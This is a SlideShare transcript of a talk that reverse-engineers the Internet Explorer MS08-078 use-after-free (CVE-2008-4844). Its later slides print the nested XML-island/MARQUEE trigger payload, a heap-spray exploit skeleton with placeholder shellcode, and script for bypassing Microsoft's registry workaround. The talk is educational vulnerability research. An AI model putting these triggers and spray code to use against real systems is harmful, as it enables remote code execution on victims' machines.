SlideShare a Scribd company logo
1 of 50
A client-side vulnerability
under the microscope!
Nelson Brito
Security Research Enthusiast
Agenda
Motivation
Inception
Dream Level 1
Dream Level 2
Dream Level 3
Kick or Limbo
Questions
“if(time) BONUS();”
Motivation
The ugly truth!
Misinformation
Many presentations have been done in Brazil, regarding reverse engineer, as
well as too much useless information:
Mostly related to purpose-built frameworks, tools and libraries.
Some others addressing how to translate to a readable format.
Leaving the apprentices in a “black hole”, with tons of misinformation.
I call this deception.
The community demands much more than simple “hello world” bugs.
Since you have created the bug, you can exploit it easily.
Inception
“The most resilient parasite is an
idea planted in the unconscious
mind...”
Reverse Engineer
Every time a new vulnerability comes out, we should be ready to understand
it, in order to perform: Exploitation, Detection, Prevention and Mitigation.
Sometimes, none or just a few information regarding a new vulnerability is
publicly available.
Sometimes, these information regarding a new vulnerability are wrong or, to
be polite, uncompleted.
Reverse engineer is one of the most powerful approaches available to deeply
understand a new vulnerability, and, sometimes, to rediscover (?) the new
vulnerability.
Design the dream levels

vulnerability

vulnerable

exploitation

ecosystem

prevention

arbitrary code
attack prevention
Kick or Limbo Dream Level 3 Dream Level 2 Dream Level 1

Design the dream levels
vulnerability

specification
documentation

vulnerable
ecosystem

black box

knowledge
base

code review

white box

knowledge

reverse engineer

black box

base

knowledge

exploitation

base

prevention

arbitrary code
attack prevention
Dream Level 1
Preparing the vulnerable
ecosystem...
Checklist
Has a vulnerability been chosen?
There is nothing to do without a vulnerability.
Are there valuable information about the vulnerability?
Gather valuable information to understand the weakness type regarding the vulnerability, as well as
any feature and/or technology surrounding to trigger the vulnerability.
Is the vulnerable ecosystem affordable?
Avoid exotic vulnerable ecosystem, because it must be configured as a test-bed and its deep
knowledge are “sine qua non”.
Are there public tools available to perform a reverse engineer?
A good set of public tools will define the success of the reverse engineer – development skills are
always necessary, otherwise the reverse engineer will fail.
Which analysis method should be applied?
Choose and understand the analysis method that will be applied.
Valuable information
MS08-078:
CVE-2008-4844.
CWE-367 – TOCTOU Race Condition.
CVSS – 9.3 (HIGH).
Affected systems:
Microsoft Internet Explorer 5.01 SP4, 6 SP 0/1, 7 and 8 Beta 1/2.
Microsoft Windows XP SP 1/2/3, Vista SP 0/1/2, Server 2003 SP 0/1/2
and Server 2008 SP 0/1/2.
Public tools
Debugging T
ools for Windows:
It is a set of extensible tools for debugging device drivers for the Microsoft
Windows family of operating systems.
It supports debugging of:
Applications, services, drivers, and the Windows kernel.
Native 32-bit x86, native Intel Itanium, and native x64 platforms.
Microsoft Windows NT 4, 2000, XP, Vista, Server 2003 and Server 2008.
User-mode programs and kernel-mode programs.
Live targets and dump files.
Local and remote targets.
The IDA (Interactive DisAssembler) Pro 5.0 Freeware is also recommended.
Analysis methods
White box:
Also known as Static Code Analysis, and it looks at applications in
non-runtime environment.
Black Box:
Also known as Dynamic Code Analysis, and it looks at applications in
runtime environment.
Grey/Gray Box:
It is a mix of White Box and Black Box.
Checklist
Has a vulnerability been chosen?
MS08-078 (CVE-2008-4844).
Are there valuable information about the vulnerability?
Keywords: “XML Island”, “Data Binding”, “use-after-free”, “MSHTML.dll”, “XML document”,
“<SPAN>”, “nested”.
Is the vulnerable ecosystem affordable?
Microsoft Internet Explorer 7 and Microsoft Windows XP SP3
Are there public tools available to perform a reverse engineer?
Debugging T
ools for Windows, Windows Symbol Package for Windows XP SP3 and IDA Pro 5.0
Freeware Version.
Which analysis method should be applied?
White Box, Black Box and Grey/Gray Box.
Dream Level 2
Gathering valuable information of
vulnerability...
XML island
XML Data Island:
XML document that exists within an HTML page.
Allows to script against the XML document:
Without having to load the XML document through script or through
the HTML <OBJECT> element.
XML Data Island can be embedded using one of the following methods:
HTML <XML> element.
HTML <SCRIPT> element.
Data binding
Data Source Object (DSO):
T bind data to the elements of an HTML page in Microsoft Internet
o
Explorer, a DSO must be present on that page.
Data Consumers:
Data consumers are elements on the HTML page that are capable of
rendering the data supplied by a DSO.
Binding Agent and T
able Repetition Agent:
The binding and repetition agents are implemented by MSHTML.dll,
the HTML viewer for Microsoft Internet Explorer, and they work
completely behind the scenes.
Use-after-free
Referencing memory after it has been freed can cause a program to crash,
use unexpected values, or execute code.
The use of previously-freed memory can have any number of adverse
consequences, ranging from the corruption of valid data to the execution of
arbitrary code.
Use-after-free errors have two common and sometimes overlapping causes:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for freeing the
memory.
Briefly, an use-after-free vulnerability can lead to execute arbitrary code.
Microsoft® HTML Viewer
MSHTML.dll is at the heart of Internet Explorer and takes care of its HTML
and Cascading Style Sheets (CSS) parsing and rendering functionality.

MSHTML.dll exposes interfaces that enable you to host it as an active
document.

MSHTML.dll may be called upon to host other components depending on the
HTML document's content, such as:
Scripting Engines:
Microsoft Java Scripting (JScript).
Visual Basic Scripting (VBScript).
ActiveX Controls.
XML Data.
XML document
Defined by W3C:
“Extensible Markup Language (XML) 1.0 (Fifth Edition)” (November
28th, 2008).
XML elements must follow some basic name rules:
Names can contain letters, numbers, and other characters.
Names must not start with a number or punctuation character.
Names must not start with the letters xml (or XML, or Xml, etc).
Names cannot contain spaces.
There are only five built-in character entities for XML:
“<”, “>”, “&”, “”” and “’”.
Dream Level 3
Analyzing the vulnerability...
T
riggering
First clue about this trigger came from Microsoft Security Development
Lifecycle (SDL):

“T
riggering the bug would require a fuzzing tool that builds data streams

with multiple data binding constructs with the same identifier.”, “Random
(or dumb) fuzzing payloads of this data type would probably not

trigger the bug, however.”, “When data binding is used, IE creates an
object which contains an array of data binding objects.”

It might mean that one – or more – of the following objects must be nested to

be “allocated” and “released”: XML Data Island, Data Source Object (DSO)
and/or Data Consumers.
Nested means:
<{Element}><{Element}></{Element}></{Element}>
Mapping
The first contact is the most important reverse engineer step.
It will define all the next steps the reverse engineer will follow in order to
acquire knowledge about the vulnerability.
Remember:
“It’s the first impression that stays on!”
The first contact (impression) will lead all the rest of reverse engineer , no
matter what is done after – pay attention.
Ensure to load the Windows symbol files, in order to understand the
vulnerability – it will be very helpful to map the object classes, properties
and/or methods.
Understanding
esi = ((dword ptr [edi+8]) >> 2) - 1;
ebx = 0;

!
do{
eax = dword ptr [edi+12];
ecx = dword ptr [eax+ebx*4];
if(!(ecx)) break;
ecx->mshtml!CXfer::T
ransferFromSrc();
...
ebx++;
}while(ebx <= esi);
Kick or Limbo
Exploiting the vulnerability...
Getting control
<XML ID=I><X><C>
&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>

mshtml!CXfer::T
ransferFromSrc+0x38

EIP = DWORD PTR [ECX+84h] {ECX+84h = 0A0A0A0Ah}
Heap-spraying
Wikipedia description:
“In computer security, heap spraying is a technique used in exploits to
facilitate arbitrary code execution.”
“In general, code that sprays the heap attempts to put a certain
sequence of bytes at a predetermined location in the memory of a
target process by having it allocate (large) blocks on the process' heap
and fill the bytes in these blocks with the right values.”
A JavaScript library has been created to optimize the exploitation – inspired
on:
JavaScript Heap Exploitation library by Alexander Sotirov.
var obj = new Exploit();
obj.address(address,format)
obj.ascii(method,format,size)
obj.banner(memory)
obj.check(address,shellcode,memory)
obj.chunk1mb(block64k)
obj.chunk64k(address,shellcode)

!
!
!
!
!
!
!
!
!

!
!
!
!
!
!
!
!
obj.even(shellcode)
obj.heap(block1mb,memory)
obj.hexa(address,size)
obj.memory(address)
obj.random(maximum)
obj.shellcode(shellcode,format)
obj.spray(address,shellcode,memory)
function Inception (){
var ms08_078 = new Exploit();
var choice, memory, address, shellcode, trigger = new String();
ms08_078.offset = [0x0a0a0a0a]; ms08_078.code[1] = “cc cc cc cc”;
choice = ms08_078.random(ms08_078.offset.length);
memory = ms08_078.memory(ms08_078.offset[choice]);
address = ms08_078.address(ms08_078.offset[choice], 0);
shellcode = ms08_078.shellcode(ms08_078.code[1], 0);
trigger = trigger.concat(“<XML ID=I><X><C>...”);
...
if(ms08_078.spray(address, shellcode, memory))
document.getElementById(“b00m”).innerHTML = trigger;
}
Questions
Questions and answers...
TIME

?

THE

END
BONUS
There is much more ground to be
covered...
Disable XML island functionality
Create a backup copy of the registry keys by using the following command
from an elevated command prompt:
...
Next, save the following to a file with a .REG extension, such as
Disable_XML_Island.reg:
Windows Registry Editor Version 5.00
[ - H K E Y _ C L A S S E S _ RO OT  C L S I D  { 3 7 9 E 5 0 1 F- B 2 3 1 - 1 1 D 1 ADC1-00805FC752D8}]
Run Disable_XML_Island.reg with the following command from an elevated
command prompt:
Regedit.exe /s Disable_XML_Island.reg
Bypassing workaround
XML Data Source Object 1.0
550DDA30-0541-11D2-9CA9-0060B0EC3D39
XML Data Source Object 3.0
F5078F39-C551-11D3-89B9-0000F81FE221
F6D90F14-9C73-11D3-B32E-00C04F990BB4
T
abular Data Control
333C7BC4-460F-11D0-BC04-0080C7055A83
var ms08_078 = new Exploit();
var ... automation = new Boolean(false), wshell,
hkey = “HKCRCLSID{379E501F-B231-11D1-ADC1-00805FC752D8}”;
try{
wshell = new ActiveXObject(“WScript.Shell”);
automation = true;
} catch(error) { automation = false; }
if(automation){
try { wshell.RegRead(hkey); } catch(error) { automation = false; }
}
CVE description
Previous CVE-2008-4844 description:
Use-after-free vulnerability in mshtml.dll in Microsoft Internet Explorer 5.01,
6, and 7 on Windows XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold
and SP1, and Server 2008 allows remote attackers to execute arbitrary code
via a crafted XML document containing nested SPAN elements, as exploited
in the wild in December 2008.
Current CVE-2008-4844 description:
Use-after-free vulnerability in the CRecordInstance::T
ransferT
oDestination
function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7
allows remote attackers to execute arbitrary code via DSO bindings
involving (1) an XML Island, (2) XML DSOs, or (3) T
abular Data Control
(TDC) in a crafted HTML or XML document, as demonstrated by nested
SPAN or MARQUEE elements, and exploited in the wild in December 2008.
Thank you!
©2011-2013 Nelson Brito. All rights reserved.
http://about.me/nbrito

More Related Content

What's hot

Embedded device hacking Session i
Embedded device hacking Session iEmbedded device hacking Session i
Embedded device hacking Session iMalachi Jones
 
Source Boston 2009 - Anti-Debugging A Developers Viewpoint
Source Boston 2009 - Anti-Debugging A Developers ViewpointSource Boston 2009 - Anti-Debugging A Developers Viewpoint
Source Boston 2009 - Anti-Debugging A Developers ViewpointTyler Shields
 
IDA Vulnerabilities and Bug Bounty  by Masaaki Chida
IDA Vulnerabilities and Bug Bounty  by Masaaki ChidaIDA Vulnerabilities and Bug Bounty  by Masaaki Chida
IDA Vulnerabilities and Bug Bounty  by Masaaki ChidaCODE BLUE
 
Mind your language(s), A Discussion about Languages and Security
Mind your language(s), A Discussion about Languages and SecurityMind your language(s), A Discussion about Languages and Security
Mind your language(s), A Discussion about Languages and SecurityAdaCore
 
Indicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationIndicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationMichael Boman
 
Codetainer: a Docker-based browser code 'sandbox'
Codetainer: a Docker-based browser code 'sandbox'Codetainer: a Docker-based browser code 'sandbox'
Codetainer: a Docker-based browser code 'sandbox'Jen Andre
 
Malicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic SoftwareMalicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic SoftwareTakahiro Haruyama
 
How to write clean & testable code without losing your mind
How to write clean & testable code without losing your mindHow to write clean & testable code without losing your mind
How to write clean & testable code without losing your mindAndreas Czakaj
 
[HES2013] Nifty stuff that you can still do with android by Xavier Martin
[HES2013] Nifty stuff that you can still do with android by Xavier Martin[HES2013] Nifty stuff that you can still do with android by Xavier Martin
[HES2013] Nifty stuff that you can still do with android by Xavier MartinHackito Ergo Sum
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacksKapil Nagrale
 
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Shota Shinogi
 
Exploitation and State Machines
Exploitation and State MachinesExploitation and State Machines
Exploitation and State MachinesMichael Scovetta
 
Software Security : From school to reality and back!
Software Security : From school to reality and back!Software Security : From school to reality and back!
Software Security : From school to reality and back!Peter Hlavaty
 
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginFast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginTakahiro Haruyama
 
44CON London - Attacking VxWorks: from Stone Age to Interstellar
44CON London - Attacking VxWorks: from Stone Age to Interstellar44CON London - Attacking VxWorks: from Stone Age to Interstellar
44CON London - Attacking VxWorks: from Stone Age to Interstellar44CON
 
Understanding the fundamentals of attacks
Understanding the fundamentals of attacksUnderstanding the fundamentals of attacks
Understanding the fundamentals of attacksCyber Security Alliance
 

What's hot (19)

Embedded device hacking Session i
Embedded device hacking Session iEmbedded device hacking Session i
Embedded device hacking Session i
 
JavaSecure
JavaSecureJavaSecure
JavaSecure
 
Anti Debugging
Anti DebuggingAnti Debugging
Anti Debugging
 
Source Boston 2009 - Anti-Debugging A Developers Viewpoint
Source Boston 2009 - Anti-Debugging A Developers ViewpointSource Boston 2009 - Anti-Debugging A Developers Viewpoint
Source Boston 2009 - Anti-Debugging A Developers Viewpoint
 
IDA Vulnerabilities and Bug Bounty  by Masaaki Chida
IDA Vulnerabilities and Bug Bounty  by Masaaki ChidaIDA Vulnerabilities and Bug Bounty  by Masaaki Chida
IDA Vulnerabilities and Bug Bounty  by Masaaki Chida
 
Mind your language(s), A Discussion about Languages and Security
Mind your language(s), A Discussion about Languages and SecurityMind your language(s), A Discussion about Languages and Security
Mind your language(s), A Discussion about Languages and Security
 
Indicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationIndicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradication
 
Codetainer: a Docker-based browser code 'sandbox'
Codetainer: a Docker-based browser code 'sandbox'Codetainer: a Docker-based browser code 'sandbox'
Codetainer: a Docker-based browser code 'sandbox'
 
Malicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic SoftwareMalicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic Software
 
How to write clean & testable code without losing your mind
How to write clean & testable code without losing your mindHow to write clean & testable code without losing your mind
How to write clean & testable code without losing your mind
 
[HES2013] Nifty stuff that you can still do with android by Xavier Martin
[HES2013] Nifty stuff that you can still do with android by Xavier Martin[HES2013] Nifty stuff that you can still do with android by Xavier Martin
[HES2013] Nifty stuff that you can still do with android by Xavier Martin
 
OWASP Much ado about randomness
OWASP Much ado about randomnessOWASP Much ado about randomness
OWASP Much ado about randomness
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacks
 
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
 
Exploitation and State Machines
Exploitation and State MachinesExploitation and State Machines
Exploitation and State Machines
 
Software Security : From school to reality and back!
Software Security : From school to reality and back!Software Security : From school to reality and back!
Software Security : From school to reality and back!
 
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginFast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
 
44CON London - Attacking VxWorks: from Stone Age to Interstellar
44CON London - Attacking VxWorks: from Stone Age to Interstellar44CON London - Attacking VxWorks: from Stone Age to Interstellar
44CON London - Attacking VxWorks: from Stone Age to Interstellar
 
Understanding the fundamentals of attacks
Understanding the fundamentals of attacksUnderstanding the fundamentals of attacks
Understanding the fundamentals of attacks
 

Viewers also liked

Microsoft GDI+ JPEG Integer Underflow Vulnerability
Microsoft GDI+ JPEG Integer Underflow VulnerabilityMicrosoft GDI+ JPEG Integer Underflow Vulnerability
Microsoft GDI+ JPEG Integer Underflow VulnerabilityAshish Malik
 
Gestão de Patches e Vulnerabilidades
Gestão de Patches e VulnerabilidadesGestão de Patches e Vulnerabilidades
Gestão de Patches e VulnerabilidadesMarcelo Martins
 
Permutation Oriented Programming: (Re)searching for alternatives!
Permutation Oriented Programming: (Re)searching for alternatives!Permutation Oriented Programming: (Re)searching for alternatives!
Permutation Oriented Programming: (Re)searching for alternatives!Nelson Brito
 
Cloud: Should I Stay or Should I Go?
Cloud: Should I Stay or Should I Go?Cloud: Should I Stay or Should I Go?
Cloud: Should I Stay or Should I Go?Marcelo Martins
 
SyScan Singapore 2010 - Returning Into The PHP-Interpreter
SyScan Singapore 2010 - Returning Into The PHP-InterpreterSyScan Singapore 2010 - Returning Into The PHP-Interpreter
SyScan Singapore 2010 - Returning Into The PHP-InterpreterStefan Esser
 
Secure Application Development in the Age of Continuous Delivery
Secure Application Development in the Age of Continuous DeliverySecure Application Development in the Age of Continuous Delivery
Secure Application Development in the Age of Continuous DeliveryBlack Duck by Synopsys
 
Exploit Next Generation®: Missão dada é missão cumprida!
Exploit Next Generation®: Missão dada é missão cumprida!Exploit Next Generation®: Missão dada é missão cumprida!
Exploit Next Generation®: Missão dada é missão cumprida!Nelson Brito
 
Hexadecimal (Calculations and Explanations)
Hexadecimal (Calculations and Explanations)Hexadecimal (Calculations and Explanations)
Hexadecimal (Calculations and Explanations)Project Student
 
Inception: Tips and tricks I’ve learned reversing vulnerabilities!
Inception: Tips and tricks I’ve learned reversing vulnerabilities!Inception: Tips and tricks I’ve learned reversing vulnerabilities!
Inception: Tips and tricks I’ve learned reversing vulnerabilities!Nelson Brito
 
The Departed: Exploit Next Generation® – The Philosophy
The Departed: Exploit Next Generation® – The PhilosophyThe Departed: Exploit Next Generation® – The Philosophy
The Departed: Exploit Next Generation® – The PhilosophyNelson Brito
 
Permutation Oriented Programming
Permutation Oriented ProgrammingPermutation Oriented Programming
Permutation Oriented ProgrammingNelson Brito
 
Workforce Planning (Process, Labour Shortage, Excess Labour)
Workforce Planning (Process, Labour Shortage, Excess Labour)Workforce Planning (Process, Labour Shortage, Excess Labour)
Workforce Planning (Process, Labour Shortage, Excess Labour)Project Student
 
Changes in working practices
Changes in working practicesChanges in working practices
Changes in working practicesProject Student
 
Programming Languages / Translators
Programming Languages / TranslatorsProgramming Languages / Translators
Programming Languages / TranslatorsProject Student
 
Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...
Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...
Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...Project Student
 
Patch and Vulnerability Management
Patch and Vulnerability ManagementPatch and Vulnerability Management
Patch and Vulnerability ManagementMarcelo Martins
 

Viewers also liked (20)

Microsoft GDI+ JPEG Integer Underflow Vulnerability
Microsoft GDI+ JPEG Integer Underflow VulnerabilityMicrosoft GDI+ JPEG Integer Underflow Vulnerability
Microsoft GDI+ JPEG Integer Underflow Vulnerability
 
Gestão de Patches e Vulnerabilidades
Gestão de Patches e VulnerabilidadesGestão de Patches e Vulnerabilidades
Gestão de Patches e Vulnerabilidades
 
Permutation Oriented Programming: (Re)searching for alternatives!
Permutation Oriented Programming: (Re)searching for alternatives!Permutation Oriented Programming: (Re)searching for alternatives!
Permutation Oriented Programming: (Re)searching for alternatives!
 
Cloud: Should I Stay or Should I Go?
Cloud: Should I Stay or Should I Go?Cloud: Should I Stay or Should I Go?
Cloud: Should I Stay or Should I Go?
 
SyScan Singapore 2010 - Returning Into The PHP-Interpreter
SyScan Singapore 2010 - Returning Into The PHP-InterpreterSyScan Singapore 2010 - Returning Into The PHP-Interpreter
SyScan Singapore 2010 - Returning Into The PHP-Interpreter
 
Secure Application Development in the Age of Continuous Delivery
Secure Application Development in the Age of Continuous DeliverySecure Application Development in the Age of Continuous Delivery
Secure Application Development in the Age of Continuous Delivery
 
Exploit Next Generation®: Missão dada é missão cumprida!
Exploit Next Generation®: Missão dada é missão cumprida!Exploit Next Generation®: Missão dada é missão cumprida!
Exploit Next Generation®: Missão dada é missão cumprida!
 
Hexadecimal (Calculations and Explanations)
Hexadecimal (Calculations and Explanations)Hexadecimal (Calculations and Explanations)
Hexadecimal (Calculations and Explanations)
 
Inception: Tips and tricks I’ve learned reversing vulnerabilities!
Inception: Tips and tricks I’ve learned reversing vulnerabilities!Inception: Tips and tricks I’ve learned reversing vulnerabilities!
Inception: Tips and tricks I’ve learned reversing vulnerabilities!
 
The Departed: Exploit Next Generation® – The Philosophy
The Departed: Exploit Next Generation® – The PhilosophyThe Departed: Exploit Next Generation® – The Philosophy
The Departed: Exploit Next Generation® – The Philosophy
 
Permutation Oriented Programming
Permutation Oriented ProgrammingPermutation Oriented Programming
Permutation Oriented Programming
 
Workforce Planning (Process, Labour Shortage, Excess Labour)
Workforce Planning (Process, Labour Shortage, Excess Labour)Workforce Planning (Process, Labour Shortage, Excess Labour)
Workforce Planning (Process, Labour Shortage, Excess Labour)
 
Changes in working practices
Changes in working practicesChanges in working practices
Changes in working practices
 
Programming Languages / Translators
Programming Languages / TranslatorsProgramming Languages / Translators
Programming Languages / Translators
 
The Caesar Cipher
The Caesar Cipher The Caesar Cipher
The Caesar Cipher
 
Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...
Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...
Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...
 
FormacaoCrypto
FormacaoCryptoFormacaoCrypto
FormacaoCrypto
 
Patch and Vulnerability Management
Patch and Vulnerability ManagementPatch and Vulnerability Management
Patch and Vulnerability Management
 
Cryptography - 101
Cryptography - 101Cryptography - 101
Cryptography - 101
 
Criptografia Aplicada
Criptografia AplicadaCriptografia Aplicada
Criptografia Aplicada
 

Similar to A client-side vulnerability under the microscope!

Reversing Engineering: Dissecting a "Client Side" Vulnerability in the APT era
Reversing Engineering: Dissecting a "Client Side" Vulnerability in the APT eraReversing Engineering: Dissecting a "Client Side" Vulnerability in the APT era
Reversing Engineering: Dissecting a "Client Side" Vulnerability in the APT eraNelson Brito
 
Production Debugging at Code Camp Philly
Production Debugging at Code Camp PhillyProduction Debugging at Code Camp Philly
Production Debugging at Code Camp PhillyBrian Lyttle
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Stephan Chenette
 
Implementing the Genetic Algorithm in XSLT: PoC
Implementing the Genetic Algorithm in XSLT: PoCImplementing the Genetic Algorithm in XSLT: PoC
Implementing the Genetic Algorithm in XSLT: PoCjimfuller2009
 
Entity Framework V1 and V2
Entity Framework V1 and V2Entity Framework V1 and V2
Entity Framework V1 and V2ukdpe
 
Debugging performance issues, memory issues and crashes in .net applications rev
Debugging performance issues, memory issues and crashes in .net applications revDebugging performance issues, memory issues and crashes in .net applications rev
Debugging performance issues, memory issues and crashes in .net applications revTess Ferrandez
 
C# Security Testing and Debugging
C# Security Testing and DebuggingC# Security Testing and Debugging
C# Security Testing and DebuggingRich Helton
 
Reverse Engineering 101
Reverse Engineering 101Reverse Engineering 101
Reverse Engineering 101ysurer
 
Getting A Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...
Getting A  Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...Getting A  Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...
Getting A Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...Velayutham Selvaraj
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010Mario Heiderich
 
Crisis. advanced malware
Crisis. advanced malwareCrisis. advanced malware
Crisis. advanced malwareYury Chemerkin
 
Bsides Tampa Blue Team’s tool dump.
Bsides Tampa Blue Team’s tool dump.Bsides Tampa Blue Team’s tool dump.
Bsides Tampa Blue Team’s tool dump.Alexander Kot
 
File inflection techniques
File inflection techniquesFile inflection techniques
File inflection techniquesSandun Perera
 
Reducing attack surface on ICS with Windows native solutions
Reducing attack surface on ICS with Windows native solutionsReducing attack surface on ICS with Windows native solutions
Reducing attack surface on ICS with Windows native solutionsJan Seidl
 
Nt2580 Unit 7 Chapter 12
Nt2580 Unit 7 Chapter 12Nt2580 Unit 7 Chapter 12
Nt2580 Unit 7 Chapter 12Laura Arrigo
 
Toorcon - Purple Haze: The Spear Phishing Experience
Toorcon - Purple Haze: The Spear Phishing ExperienceToorcon - Purple Haze: The Spear Phishing Experience
Toorcon - Purple Haze: The Spear Phishing ExperienceJesse Nebling
 
150104 3 methods for-binary_analysis_and_valgrind
150104 3 methods for-binary_analysis_and_valgrind150104 3 methods for-binary_analysis_and_valgrind
150104 3 methods for-binary_analysis_and_valgrindRaghu Palakodety
 

Similar to A client-side vulnerability under the microscope! (20)

Reversing Engineering: Dissecting a "Client Side" Vulnerability in the APT era
Reversing Engineering: Dissecting a "Client Side" Vulnerability in the APT eraReversing Engineering: Dissecting a "Client Side" Vulnerability in the APT era
Reversing Engineering: Dissecting a "Client Side" Vulnerability in the APT era
 
Production Debugging at Code Camp Philly
Production Debugging at Code Camp PhillyProduction Debugging at Code Camp Philly
Production Debugging at Code Camp Philly
 
Nullbyte 6ed. 2019
Nullbyte 6ed. 2019Nullbyte 6ed. 2019
Nullbyte 6ed. 2019
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007
 
Stuxnet dc9723
Stuxnet dc9723Stuxnet dc9723
Stuxnet dc9723
 
Implementing the Genetic Algorithm in XSLT: PoC
Implementing the Genetic Algorithm in XSLT: PoCImplementing the Genetic Algorithm in XSLT: PoC
Implementing the Genetic Algorithm in XSLT: PoC
 
Entity Framework V1 and V2
Entity Framework V1 and V2Entity Framework V1 and V2
Entity Framework V1 and V2
 
Debugging performance issues, memory issues and crashes in .net applications rev
Debugging performance issues, memory issues and crashes in .net applications revDebugging performance issues, memory issues and crashes in .net applications rev
Debugging performance issues, memory issues and crashes in .net applications rev
 
C# Security Testing and Debugging
C# Security Testing and DebuggingC# Security Testing and Debugging
C# Security Testing and Debugging
 
Reverse Engineering 101
Reverse Engineering 101Reverse Engineering 101
Reverse Engineering 101
 
Getting A Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...
Getting A  Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...Getting A  Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...
Getting A Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
 
Crisis. advanced malware
Crisis. advanced malwareCrisis. advanced malware
Crisis. advanced malware
 
Bsides Tampa Blue Team’s tool dump.
Bsides Tampa Blue Team’s tool dump.Bsides Tampa Blue Team’s tool dump.
Bsides Tampa Blue Team’s tool dump.
 
File inflection techniques
File inflection techniquesFile inflection techniques
File inflection techniques
 
Assingment 5 - ENSA
Assingment 5 - ENSAAssingment 5 - ENSA
Assingment 5 - ENSA
 
Reducing attack surface on ICS with Windows native solutions
Reducing attack surface on ICS with Windows native solutionsReducing attack surface on ICS with Windows native solutions
Reducing attack surface on ICS with Windows native solutions
 
Nt2580 Unit 7 Chapter 12
Nt2580 Unit 7 Chapter 12Nt2580 Unit 7 Chapter 12
Nt2580 Unit 7 Chapter 12
 
